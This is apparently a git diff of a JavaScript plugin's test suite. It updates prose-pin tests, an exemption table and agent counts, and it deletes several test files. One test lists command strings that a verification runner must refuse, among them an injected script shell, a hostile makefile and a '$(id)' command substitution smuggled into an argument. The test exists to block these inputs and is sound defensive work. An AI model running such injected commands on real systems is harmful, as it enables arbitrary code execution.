// Main-merge gate is the one boundary that pauses on every run; the prose
|
||||
// must say so explicitly so the contract survives copy-edit drift.
|
||||
assert.ok(
|
||||
/always[\s\S]{0,200}gates_mode|gates_mode[\s\S]{0,200}always|always pauses on every run/.test(CMD),
|
||||
'Phase 8 should state main-merge gate is always-on, regardless of gates_mode',
|
||||
);
|
||||
});
|
||||
|
|
@ -52,17 +52,11 @@ const EXEMPT = new Map([
|
|||
[SELF, ['self', 17, "the gate's own pattern table and known-positive fixture"]],
|
||||
['CHANGELOG.md', ['c', 15, 'release history; never rewritten']],
|
||||
['docs/T1-cc26-delegated-orchestration.md', ['c', 4, 'measurement record (T1/CC-26)']],
|
||||
['docs/T1-synthesis-poc-results.md', ['c', 1, 'measurement record (synthesis PoC)']],
|
||||
['docs/cc-upgrade-2.1.181-decision-matrix.md', ['c', 3, 'decision record (CC 2.1.181 upgrade)']],
|
||||
['docs/deep-research-engine-research.md', ['c', 6, 'research record (deep-research engine)']],
|
||||
['docs/operations.md', ['c', 1, 'Path A decision record: why cache-first was rejected']],
|
||||
['docs/spike-pretooluse-subagent-reach.md', ['c', 2, 'spike record (PreToolUse reach)']],
|
||||
['docs/voyage-vs-cc-balance-analysis.md', ['c', 1, 'decision record (balance analysis)']],
|
||||
['scripts/synthesis-measure.mjs', ['c', 2, 'measurement script; says why a child-session instrument was not used, launches nothing']],
|
||||
['tests/fixtures/research-deep-research-adapted.md', ['c', 1, 'recorded research fixture']],
|
||||
['tests/fixtures/synthesis/digest.json', ['c', 1, 'recorded synthesis fixture']],
|
||||
['tests/fixtures/synthesis/exploration/architecture-mapper.md', ['c', 3, 'recorded exploration fixture']],
|
||||
['tests/fixtures/synthesis/exploration/dependency-tracer.md', ['c', 2, 'recorded exploration fixture']],
|
||||
['docs/proevesett.md', ['operator-instrument', 3, "the operator's own eval run through Anthropic's `claude plugin eval`; Voyage starts nothing - kept by operator decision 2026-10-02"]],
|
||||
['.gitignore', ['operator-instrument', 1, 'ignores the output of that same operator-run eval']],
|
||||
['hooks/scripts/post-approval-log.mjs', ['mode-read', 3, "reads the session's permission_mode from hook input so an approval is never logged when no person was asked; starts nothing - operator decision 2026-10-06"]],
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
// Prose pins for the plan process (wave 1, order 3): /trekplan Phases 8-10, the
|
||||
// plan and design templates, plan-critic and the Handover 4 contract must keep
|
||||
// saying what the plan gate, the validator and the verification CLIs do.
|
||||
// Counted as doc pins by lib/util/test-census.mjs (PIN_FILE_RE).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
// tests/lib/plan-version-1-9-docs.test.mjs
|
||||
// plan_version 1.9 is the current target, and the contract docs follow it:
|
||||
// Handover 4, the plan template and CLAUDE.md name 1.9 and its rule, "the file
|
||||
// first on every line"; the template, /trekplan and the planning orchestrator
|
||||
// first on every line"; the template and /trekplan
|
||||
// say every path stands before any annotation; and the rules introduced at 1.8,
|
||||
// which still bind 1.8 and 1.9 plans, say "1.8 or later" in the sentence that
|
||||
// carries each of them (never "1.9", which would release a 1.8 plan from them).
|
||||
|
|
@ -113,8 +113,8 @@ test('CLAUDE.md /trekplan row names Plan 1.9 and the rule, and labels the Test f
|
|||
assert.doesNotMatch(row, /Plan 1\.8:/);
|
||||
});
|
||||
|
||||
test('the template, /trekplan and the planning orchestrator say every path stands before any annotation', () => {
|
||||
for (const rel of ['templates/plan-template.md', 'commands/trekplan.md', 'agents/planning-orchestrator.md']) {
|
||||
test('the template and /trekplan say every path stands before any annotation', () => {
|
||||
for (const rel of ['templates/plan-template.md', 'commands/trekplan.md']) {
|
||||
assert.ok(read(rel).includes(ANNOTATION), `${rel} must say "${ANNOTATION}"`);
|
||||
}
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,148 +0,0 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
discoverProject,
|
||||
checkPhaseRequirements,
|
||||
} from '../../lib/parsers/project-discovery.mjs';
|
||||
|
||||
function setupProject(structure) {
|
||||
const root = mkdtempSync(join(tmpdir(), 'trekplan-disc-'));
|
||||
for (const [path, content] of Object.entries(structure)) {
|
||||
const full = join(root, path);
|
||||
mkdirSync(join(full, '..'), { recursive: true });
|
||||
writeFileSync(full, content);
|
||||
}
|
||||
return root;
|
||||
}
|
||||
|
||||
test('discoverProject — finds brief, plan, progress at root', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'plan.md': 'p',
|
||||
'progress.json': '{}',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.brief, join(root, 'brief.md'));
|
||||
assert.equal(a.plan, join(root, 'plan.md'));
|
||||
assert.equal(a.progress, join(root, 'progress.json'));
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — research files sorted by name', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'research/03-third.md': 't',
|
||||
'research/01-first.md': 'f',
|
||||
'research/02-second.md': 's',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.research.length, 3);
|
||||
assert.match(a.research[0], /01-first/);
|
||||
assert.match(a.research[1], /02-second/);
|
||||
assert.match(a.research[2], /03-third/);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — architecture overview + gaps detected', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'architecture/overview.md': 'o',
|
||||
'architecture/gaps.md': 'g',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.match(a.architecture.overview, /architecture\/overview\.md$/);
|
||||
assert.match(a.architecture.gaps, /architecture\/gaps\.md$/);
|
||||
assert.equal(a.architecture.looseFiles.length, 0);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — loose architecture files surfaced for drift detection', () => {
|
||||
const root = setupProject({
|
||||
'architecture/overview.md': 'o',
|
||||
'architecture/random-note.md': 'x',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.architecture.looseFiles.length, 1);
|
||||
assert.match(a.architecture.looseFiles[0], /random-note/);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — missing project dir returns empty artifacts', () => {
|
||||
const a = discoverProject('/nonexistent/path/unlikely');
|
||||
assert.equal(a.brief, null);
|
||||
assert.equal(a.research.length, 0);
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — research needs brief', () => {
|
||||
const r = checkPhaseRequirements({ brief: null }, 'research');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — execute needs plan', () => {
|
||||
const r = checkPhaseRequirements({ brief: 'x', plan: null }, 'execute');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_PLAN'));
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — happy path', () => {
|
||||
const r = checkPhaseRequirements({ brief: 'x', plan: 'y' }, 'plan');
|
||||
assert.equal(r.valid, true);
|
||||
});
|
||||
|
||||
test('discoverProject — finds review.md when present', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'review.md': 'r',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.review, join(root, 'review.md'));
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — review null when absent', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.review, null);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — review phase needs brief (error) and tolerates missing progress (warning)', () => {
|
||||
// Missing brief → error
|
||||
const r1 = checkPhaseRequirements({ brief: null, progress: null }, 'review');
|
||||
assert.equal(r1.valid, false);
|
||||
assert.ok(r1.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
|
||||
|
||||
// Has brief, no progress → valid (with warning)
|
||||
const r2 = checkPhaseRequirements({ brief: 'x', progress: null }, 'review');
|
||||
assert.equal(r2.valid, true, JSON.stringify(r2));
|
||||
assert.ok(r2.warnings.find(w => w.code === 'PROJECT_NO_PROGRESS'));
|
||||
|
||||
// Has both → valid, no warning
|
||||
const r3 = checkPhaseRequirements({ brief: 'x', progress: 'p' }, 'review');
|
||||
assert.equal(r3.valid, true);
|
||||
assert.equal(r3.warnings.length, 0);
|
||||
});
|
||||
|
|
@ -1,6 +1,5 @@
|
|||
// tests/lib/release-prose-pins.test.mjs
|
||||
// Prose pins owned by the release process (wave-2 order 8, P13). Counted as
|
||||
// doc pins by lib/util/test-census.mjs (PIN_FILE_RE matches `prose-pins.test.mjs`).
|
||||
// Prose pins owned by the release process (wave-2 order 8, P13).
|
||||
//
|
||||
// The load-bearing pin: the rollback part of docs/release-runbook.md may only
|
||||
// hold commands that were run in the release + rollback drill. The drill's
|
||||
|
|
|
|||
|
|
@ -500,7 +500,7 @@ test('readLedger — a tombstone is reported separately and never as a granted t
|
|||
// nothing reads.
|
||||
//
|
||||
// The ceiling is deliberately the SAME constant that sizes the turn budget. Two
|
||||
// constants for one settings.json:16 value is how the two drift apart.
|
||||
// constants for one maxDimensions value is how the two drift apart.
|
||||
|
||||
test('checkDimensionCeiling — a list at the ceiling is accepted', () => {
|
||||
const r = checkDimensionCeiling(Array.from({ length: MAX_TOTAL_DIMENSIONS }, (_, i) => `d${i}`));
|
||||
|
|
|
|||
|
|
@ -299,7 +299,7 @@ test('review 630 r3 / BLOCKER: no runner takes an option that writes a file or l
|
|||
'cargo test --target-dir=/tmp/x',
|
||||
'npm test -- --test-reporter-destination=/tmp/x',
|
||||
'npm test --script-shell=/tmp/evil',
|
||||
'npm run verify -- --outputFile=/tmp/x',
|
||||
'npm run annotate -- --outputFile=/tmp/x',
|
||||
'make test SHELL=/tmp/evil',
|
||||
'make test -f /tmp/evil.mk',
|
||||
'bash tests/x.sh "$(id)"',
|
||||
|
|
@ -580,19 +580,6 @@ test('review 630 r5 / e1ff583a f582b9c2: frontmatter reads trailing space and a
|
|||
}
|
||||
});
|
||||
|
||||
test('review 630 r5 / 41c43285 (operator 2026-10-09): the example plan keeps steps 1-2, and step 2 no longer says it must fail', () => {
|
||||
const plan = read('examples/01-add-verbose-flag/plan.md');
|
||||
const heading = plan.match(/^### Step 2: .*$/m)[0];
|
||||
assert.doesNotMatch(heading, /must FAIL/i, heading);
|
||||
assert.match(plan.slice(plan.indexOf(heading)), /should PASS today/, 'the step body still says it passes today');
|
||||
const progress = JSON.parse(read('examples/01-add-verbose-flag/progress.json'));
|
||||
const title = JSON.stringify(progress).match(/"title":"(Add stability test[^"]*)"/)?.[1];
|
||||
assert.equal(`### Step 2: ${title}`, heading, 'progress.json carries the same step title');
|
||||
const r = validatePlanContent(plan, { strict: false });
|
||||
const warned = r.warnings.filter((w) => w.code === 'PLAN_STEP_TESTS_ONLY').map((w) => w.message);
|
||||
assert.equal(warned.length, 2, `the operator kept the warning on steps 1-2: ${JSON.stringify(warned)}`);
|
||||
});
|
||||
|
||||
// ==== round 6 of the release review (2026-10-11), each red on c3641ff ===========
|
||||
|
||||
function gitRepo(prefix) {
|
||||
|
|
@ -621,12 +608,9 @@ test('review 630 r6 / criteria-runner.mjs:464: a git check stays in the repo too
|
|||
});
|
||||
|
||||
test('review 630 r6 / criteria-runner.mjs:168: a trailing # comment in a shell fence is not part of the command', async () => {
|
||||
const { parsePlanVerification, allowedCommand } = await import('../../lib/verification/criteria-runner.mjs');
|
||||
const { parsePlanVerification } = await import('../../lib/verification/criteria-runner.mjs');
|
||||
const plan = '## Verification\n\n```bash\nnpm test # all green\nnode --test tests/a.test.mjs #1\n```\n';
|
||||
assert.deepEqual(parsePlanVerification(plan).map((c) => c.command), ['npm test', 'node --test tests/a.test.mjs']);
|
||||
const example = parsePlanVerification(read('examples/01-add-verbose-flag/plan.md'))[0];
|
||||
assert.equal(example.command, 'node --test tests/');
|
||||
assert.equal(allowedCommand(example.command, { cwd: ROOT }).allowed, true, "the shipped example's first check runs again");
|
||||
});
|
||||
|
||||
test('review 630 r6 / criteria-runner.mjs:466: a glob reaches node --test only where node expands it (Node 21+)', async () => {
|
||||
|
|
@ -1015,9 +999,8 @@ test('review 630 r8 / findings-schema.mjs:46: the block reader and the verdict g
|
|||
}
|
||||
});
|
||||
|
||||
test('review 630 r8 / review-validator.mjs:36 + synthesis-digest-schema.mjs:59: three backticks in a JSON string do not end the block there either', async () => {
|
||||
test('review 630 r8 / review-validator.mjs:36: three backticks in a JSON string do not end the block there either', async () => {
|
||||
const { validateReviewContent } = await import('../../lib/validators/review-validator.mjs');
|
||||
const { extractDigestBlock } = await import('../../lib/plan/synthesis-digest-schema.mjs');
|
||||
const id = 'a'.repeat(40);
|
||||
const payload = { verdict: 'BLOCK', counts: { BLOCKER: 1, MAJOR: 0, MINOR: 0, SUGGESTION: 0 }, allow_blocked_by: [],
|
||||
findings: [{ id, severity: 'BLOCKER', rule_key: 'MISSING_TEST', file: 'a.mjs', line: 1, title: 'x',
|
||||
|
|
@ -1030,8 +1013,6 @@ test('review 630 r8 / review-validator.mjs:36 + synthesis-digest-schema.mjs:59:
|
|||
const r = validateReviewContent(review);
|
||||
assert.ok([...r.errors, ...r.warnings].some((i) => i.code === 'REVIEW_MISSING_REMEDIATION_STEP'),
|
||||
`a BLOCKER with no ### Step R<n> is found although its detail holds a fence: ${JSON.stringify(r.errors.map((e) => e.code))}`);
|
||||
const digest = '```json\n{"note": "a ```bash fence"}\n```\n';
|
||||
assert.equal(extractDigestBlock(digest), '{"note": "a ```bash fence"}\n');
|
||||
});
|
||||
|
||||
// ==== round 9 of the release review of 6.3.0 (0f400d3..a10018f, 2026-10-11), fixed in 6.3.1 ====
|
||||
|
|
|
|||
|
|
@ -1,69 +0,0 @@
|
|||
// tests/lib/review-determinism.test.mjs
|
||||
// SC4 determinism floor — Jaccard pipeline test.
|
||||
//
|
||||
// Reads two synthetic review-run fixtures (A ⊂ B), parses their findings
|
||||
// arrays from frontmatter, and asserts:
|
||||
// 1. Jaccard(A, B) ≥ 0.70 (the SC4 brief threshold)
|
||||
// 2. every finding-ID is 40-char hex (matches lib/parsers/finding-id.mjs format)
|
||||
// 3. no duplicate IDs within either run
|
||||
//
|
||||
// This test exercises the Jaccard PIPELINE on a known input. It does NOT
|
||||
// measure real-LLM determinism — that is deferred to v1.1, see
|
||||
// tests/fixtures/trekreview/README.md.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { jaccardSimilarity } from '../../lib/parsers/jaccard.mjs';
|
||||
import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
|
||||
const HEX_ID_RE = /^[0-9a-f]{40}$/;
|
||||
const SC4_THRESHOLD = 0.70;
|
||||
|
||||
function loadFindings(rel) {
|
||||
const text = readFileSync(join(ROOT, rel), 'utf-8');
|
||||
const doc = parseDocument(text);
|
||||
assert.ok(doc.valid, `frontmatter of ${rel} did not parse: ${(doc.errors || []).map(e => e.message).join(', ')}`);
|
||||
const findings = doc.parsed.frontmatter && doc.parsed.frontmatter.findings;
|
||||
assert.ok(Array.isArray(findings), `frontmatter.findings of ${rel} is not an array`);
|
||||
return findings;
|
||||
}
|
||||
|
||||
test('review determinism — Jaccard of fixture run-A vs run-B meets SC4 threshold (0.70)', () => {
|
||||
const a = loadFindings('tests/fixtures/trekreview/review-run-A.md');
|
||||
const b = loadFindings('tests/fixtures/trekreview/review-run-B.md');
|
||||
const jaccard = jaccardSimilarity(a, b);
|
||||
assert.ok(
|
||||
jaccard >= SC4_THRESHOLD,
|
||||
`Jaccard(A, B) = ${jaccard} < ${SC4_THRESHOLD} (SC4 threshold). ` +
|
||||
`Fixtures may have drifted — recompute IDs via lib/parsers/finding-id.mjs.`,
|
||||
);
|
||||
});
|
||||
|
||||
test('review determinism — finding IDs are 40-char hex', () => {
|
||||
for (const rel of ['tests/fixtures/trekreview/review-run-A.md', 'tests/fixtures/trekreview/review-run-B.md']) {
|
||||
const findings = loadFindings(rel);
|
||||
for (const id of findings) {
|
||||
assert.ok(
|
||||
typeof id === 'string' && HEX_ID_RE.test(id),
|
||||
`${rel}: ID ${JSON.stringify(id)} is not a 40-char lowercase hex string`,
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('review determinism — no duplicate IDs within run', () => {
|
||||
for (const rel of ['tests/fixtures/trekreview/review-run-A.md', 'tests/fixtures/trekreview/review-run-B.md']) {
|
||||
const findings = loadFindings(rel);
|
||||
assert.strictEqual(
|
||||
new Set(findings).size,
|
||||
findings.length,
|
||||
`${rel}: contains duplicate finding-IDs (${findings.length} entries vs ${new Set(findings).size} unique)`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
|
@ -35,12 +35,11 @@ function handover4() {
|
|||
|
||||
const P9 = flat(phase(read('commands/trekplan.md'), 9));
|
||||
|
||||
test('RULE_A stands verbatim in Phase 9, Handover 4, CLAUDE.md and the planning orchestrator', () => {
|
||||
test('RULE_A stands verbatim in Phase 9, Handover 4 and CLAUDE.md', () => {
|
||||
const rule = flat(RULE_A);
|
||||
assert.ok(P9.includes(rule), 'Phase 9 of commands/trekplan.md states RULE_A');
|
||||
assert.ok(flat(handover4()).includes(rule), 'Handover 4 of docs/HANDOVER-CONTRACTS.md states RULE_A');
|
||||
assert.ok(flat(read('CLAUDE.md')).includes(rule), 'CLAUDE.md states RULE_A');
|
||||
assert.ok(flat(read('agents/planning-orchestrator.md')).includes(rule), 'agents/planning-orchestrator.md states RULE_A');
|
||||
});
|
||||
|
||||
test('RULE_B stands verbatim in Phase 9 and in both reviewer agent files', () => {
|
||||
|
|
|
|||
|
|
@ -1,14 +1,13 @@
|
|||
// tests/lib/review-prose-pins.test.mjs
|
||||
// Prose pins for the review process (ordre 5, bølge 1: P11 + P5). Counted as
|
||||
// doc-pins by lib/util/test-census.mjs. Each pin names the behaviour it guards
|
||||
// so a failing pin says what broke, not just which string moved.
|
||||
// Prose pins for the review process (ordre 5, bølge 1: P11 + P5). Each pin
|
||||
// names the behaviour it guards so a failing pin says what broke, not just
|
||||
// which string moved.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { RULE_KEYS } from '../../lib/review/rule-catalogue.mjs';
|
||||
import { UNVERIFIED_REASONS } from '../../lib/review/coordinator-contract.mjs';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
|
@ -175,24 +174,6 @@ test('trekreview — the write-outside-project_dir exception names only the mark
|
|||
assert.ok(rules.includes('only after the operator approved that exact line'));
|
||||
});
|
||||
|
||||
// ---- the Workflow substrate stays in step -----------------------------------------
|
||||
|
||||
test('armB workflow — its inlined rule-key enum equals the catalogue (no drift)', () => {
|
||||
const src = read('scripts/trekreview-armB.workflow.mjs');
|
||||
assert.ok(src.includes('const RULE_KEYS = Object.keys(RULE_TIERS);'), 'the enum is the keys of the inlined RULE_TIERS');
|
||||
const start = src.indexOf('const RULE_TIERS = {');
|
||||
assert.ok(start !== -1, 'the script carries a RULE_TIERS literal block');
|
||||
const block = src.slice(start, src.indexOf('};', start));
|
||||
const keys = [...block.matchAll(/([A-Z_]+):\s*'[A-Z]+'/g)].map((m) => m[1]).sort();
|
||||
assert.deepEqual(keys, [...RULE_KEYS].sort());
|
||||
});
|
||||
|
||||
test('armB workflow — a missing reviewer or engine forbids ALLOW on the Workflow path too', () => {
|
||||
const src = read('scripts/trekreview-armB.workflow.mjs');
|
||||
assert.ok(src.includes("if (verdict === 'ALLOW' && missingReviewers > 0) verdict = 'WARN';"));
|
||||
assert.ok(src.includes('enginePayloads'));
|
||||
});
|
||||
|
||||
test('project-memory approval: the options the operator sees are English (operator decision 56)', () => {
|
||||
const src = read('commands/trekreview.md');
|
||||
assert.ok(src.includes('Options: **"Add the line"**'), 'the recommended option reads "Add the line"');
|
||||
|
|
|
|||
|
|
@ -502,21 +502,6 @@ test('[RND] a second run in the same folder starts at round 1, and its round 2 a
|
|||
[`review-round-${fx.run}-1.md`, `review-round-${run2}-1.md`].sort());
|
||||
});
|
||||
|
||||
test('[RND] prepare --workflow for a round 2 exits 1', () => {
|
||||
assert.ok(existsSync(ROUNDS), 'lib/review/review-rounds.mjs must exist');
|
||||
const fx = rndRepo();
|
||||
// Control: round 1 on --workflow is allowed.
|
||||
const c = fx.prepare(['--workflow']);
|
||||
assert.equal(c.status, 0, `Control: ${c.stdout}${c.stderr}`);
|
||||
assert.equal(parse(c).round, 1);
|
||||
fx.write(rndReview({ start: fx.start, end: fx.c1, findings: [MAJ_A3] }).text);
|
||||
const before = fx.snapshot();
|
||||
const r = fx.prepare(['--workflow']);
|
||||
assert.equal(r.status, 1, r.stdout + r.stderr);
|
||||
assert.match(String(parse(r).reason), /from round 2 \/trekreview runs on the standard path — re-run without --workflow/, r.stdout);
|
||||
assert.deepEqual(fx.snapshot(), before);
|
||||
});
|
||||
|
||||
// ---- [RND] resolution by evidence -----------------------------------------------------
|
||||
|
||||
test('[RND] a previous review without finalized: true resolves nothing', () => {
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
// tests/lib/skill-routing.test.mjs
|
||||
// The model-free routing test (P10, "Bygg nå"): lib/skills/routing.mjs ranks
|
||||
// the descriptions of every skill, the 7 commands and the 21 spawnable agents
|
||||
// the descriptions of every skill, the 7 commands and the 20 spawnable agents
|
||||
// against prompts, with no model. A collision between two descriptions fails;
|
||||
// each skill needs 3 prompts where it should fire (top 3) and 2 where it
|
||||
// should not, and for those a named owner must rank higher. The thresholds are
|
||||
|
|
@ -232,11 +232,11 @@ test('routing CLI: 0 clean, 1 findings, 2 could not run', () => {
|
|||
|
||||
// ---- Voyage's own catalogue ----
|
||||
|
||||
test('routing: Voyage\'s catalogue holds every skill, the 7 commands and the 21 spawnable agents', () => {
|
||||
test('routing: Voyage\'s catalogue holds every skill, the 7 commands and the 20 spawnable agents', () => {
|
||||
const entries = loadEntries(ROOT);
|
||||
const by = (k) => entries.filter((e) => e.kind === k);
|
||||
assert.equal(by('command').length, 7, by('command').map((e) => e.name).join(','));
|
||||
assert.equal(by('agent').length, 21, by('agent').map((e) => e.name).join(','));
|
||||
assert.equal(by('agent').length, 20, by('agent').map((e) => e.name).join(','));
|
||||
assert.ok(by('skill').length >= 2, by('skill').map((e) => e.name).join(','));
|
||||
for (const e of entries) assert.ok(e.description.trim().length > 20, `${e.id}: description read as "${e.description}"`);
|
||||
assert.equal(new Set(entries.map((e) => e.name)).size, entries.length, 'names must be unique across kinds');
|
||||
|
|
|
|||
|
|
@ -15,7 +15,6 @@
|
|||
// can be used on a research document when the user asks;
|
||||
// • the loop the skill carries, aimed at what the red baseline showed;
|
||||
// • the skill says plainly what is deterministic and what is prose only.
|
||||
// Counted as doc pins by lib/util/test-census.mjs (file name *-prose-pins).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -22,7 +22,6 @@
|
|||
//
|
||||
// S3 and S4 are made by orders 7c and 7d. Their skills need not exist in this
|
||||
// branch: the names are the contract, written here before the merge.
|
||||
// Counted as doc pins by lib/util/test-census.mjs (file name *-prose-pins).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -21,7 +21,6 @@
|
|||
// cannot go red) was measured with helpers in the authoring session and is not
|
||||
// something a model-free test can see. The eval cases under
|
||||
// evals/skill-writing-criteria-* carry it for the operator's own runs.
|
||||
// Counted as doc pins by lib/util/test-census.mjs (file name *-prose-pins).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
// closed to the model, the step helper preloads test-first and debugging, each
|
||||
// skill names what enforces it and credits what it borrowed, the eval cases
|
||||
// keep the 3 / 2 / 1 form, and the docs carry the ## Skills section.
|
||||
// Counted as doc pins by lib/util/test-census.mjs (file name *-prose-pins).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -1,161 +0,0 @@
|
|||
// tests/lib/synthesis-digest-schema.test.mjs
|
||||
// NW3 (S12) — digest-schema contract for the synthesis-agent.
|
||||
//
|
||||
// The synthesis-agent (agents/synthesis-agent.md) ingests the trekplan Phase-5/7
|
||||
// exploration outputs and emits a trailing fenced ```json block: the findings
|
||||
// DIGEST main currently writes inline in Phase 7. This pins that digest's shape
|
||||
// so a delegated path could VALIDATE it (not merely parse it) and so the
|
||||
// measurement harness has a fixed quality contract to compare against.
|
||||
//
|
||||
// Load-bearing fields (what Phase 8 deep-planning consumes): task,
|
||||
// architecture_model, and the five synthesis arrays (reusable_code,
|
||||
// contradictions, risks, gaps, sources). Each source must be origin-tagged
|
||||
// codebase|research (Phase 7 rule 7: "track whether it came from codebase
|
||||
// analysis or external research"). Mirrors lib/review/findings-schema.mjs.
|
||||
//
|
||||
// When this test fails, fix the schema or the producer — do NOT relax the
|
||||
// assertion to hide drift.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import {
|
||||
validateDigest,
|
||||
validateAgentOutput,
|
||||
extractDigestBlock,
|
||||
ORIGIN_VALUES,
|
||||
DIGEST_REQUIRED_FIELDS,
|
||||
} from '../../lib/plan/synthesis-digest-schema.mjs';
|
||||
|
||||
function wellFormed() {
|
||||
return {
|
||||
agent: 'synthesis-agent',
|
||||
task: 'Add a per-wave rate-limit guard to trekexecute headless launches',
|
||||
architecture_model:
|
||||
'trekexecute spawns parallel headless waves via the Bash launcher template; ' +
|
||||
'concurrency is currently unbounded per wave.',
|
||||
reusable_code: [
|
||||
{ ref: 'lib/util/result.mjs:33', note: 'issue() for structured errors' },
|
||||
{ ref: 'templates/headless-launch-template.md:10', note: 'wave dispatch site' },
|
||||
],
|
||||
contradictions: [
|
||||
'architecture-mapper says waves are sequential; dependency-tracer shows a parallel fan-out',
|
||||
],
|
||||
risks: [
|
||||
{ risk: 'A rate-limit that blocks too aggressively starves long waves', severity: 'medium' },
|
||||
],
|
||||
gaps: ['No measured per-wave token ceiling exists yet — becomes an assumption'],
|
||||
sources: [
|
||||
{ finding: 'wave launcher lives in the template', origin: 'codebase' },
|
||||
{ finding: 'CC headless --max-budget-usd semantics', origin: 'research' },
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
test('digest schema: a well-formed digest validates', () => {
|
||||
const r = validateDigest(wellFormed());
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
assert.deepEqual(r.errors, []);
|
||||
});
|
||||
|
||||
test('digest schema: exposes the required-field + origin contracts', () => {
|
||||
assert.ok(Array.isArray(DIGEST_REQUIRED_FIELDS) && DIGEST_REQUIRED_FIELDS.length > 0);
|
||||
for (const f of ['task', 'architecture_model', 'reusable_code', 'contradictions', 'risks', 'gaps', 'sources']) {
|
||||
assert.ok(DIGEST_REQUIRED_FIELDS.includes(f), `required fields must include ${f}`);
|
||||
}
|
||||
assert.deepEqual([...ORIGIN_VALUES].sort(), ['codebase', 'research']);
|
||||
});
|
||||
|
||||
test('digest schema: rejects a non-object payload', () => {
|
||||
for (const bad of [null, 42, 'x', ['a']]) {
|
||||
const r = validateDigest(bad);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_NOT_OBJECT'), `expected DIGEST_NOT_OBJECT for ${JSON.stringify(bad)}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('digest schema: rejects missing/empty task', () => {
|
||||
for (const t of [undefined, '', 123]) {
|
||||
const d = wellFormed();
|
||||
d.task = t;
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_MISSING_TASK'));
|
||||
}
|
||||
});
|
||||
|
||||
test('digest schema: rejects missing/empty architecture_model', () => {
|
||||
const d = wellFormed();
|
||||
delete d.architecture_model;
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_MISSING_ARCHITECTURE'));
|
||||
});
|
||||
|
||||
test('digest schema: each synthesis array must be an array', () => {
|
||||
const cases = [
|
||||
['reusable_code', 'DIGEST_REUSABLE_NOT_ARRAY'],
|
||||
['contradictions', 'DIGEST_CONTRADICTIONS_NOT_ARRAY'],
|
||||
